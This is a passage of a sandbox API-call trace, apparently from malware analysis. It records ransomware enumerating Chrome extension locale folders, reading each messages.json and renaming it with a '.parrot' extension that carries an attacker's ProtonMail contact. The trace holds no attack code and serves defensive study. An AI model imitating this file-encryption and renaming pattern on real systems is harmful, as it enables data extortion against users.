hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.107] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.107] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.107] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.108] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.108] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0070.109] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.109] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.109] CloseHandle (hObject=0x1fc) returned 1 [0070.109] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.112] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.112] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7461380, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7461380, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.112] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7461380, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.112] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.114] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.114] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.114] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.114] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.114] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.114] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.114] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.114] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.115] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.116] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0070.116] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.116] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.116] CloseHandle (hObject=0x1fc) returned 1 [0070.117] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.119] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.119] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7461380, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7461380, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.119] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7461380, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.120] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.120] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.120] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.120] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.120] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.120] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.121] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.121] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.121] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.122] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.122] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0070.122] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.122] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.123] CloseHandle (hObject=0x1fc) returned 1 [0070.123] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.126] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.126] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb74874e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb74874e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.126] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb74874e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.126] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.129] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.129] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.129] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.129] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.129] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.130] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.130] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.130] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.131] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.131] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0070.132] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.132] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.132] CloseHandle (hObject=0x1fc) returned 1 [0070.133] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.136] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.136] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb74874e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb74874e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.136] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb74874e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.136] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.136] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.136] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d6650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852d6650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.136] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.136] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.136] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852d75f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.137] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.137] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.137] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.138] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.139] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0070.140] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.140] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.140] CloseHandle (hObject=0x1fc) returned 1 [0070.140] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.143] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.143] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb74ad640, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb74ad640, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.143] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852d6650, ftCreationTime.dwHighDateTime=0x1d2dd9e, 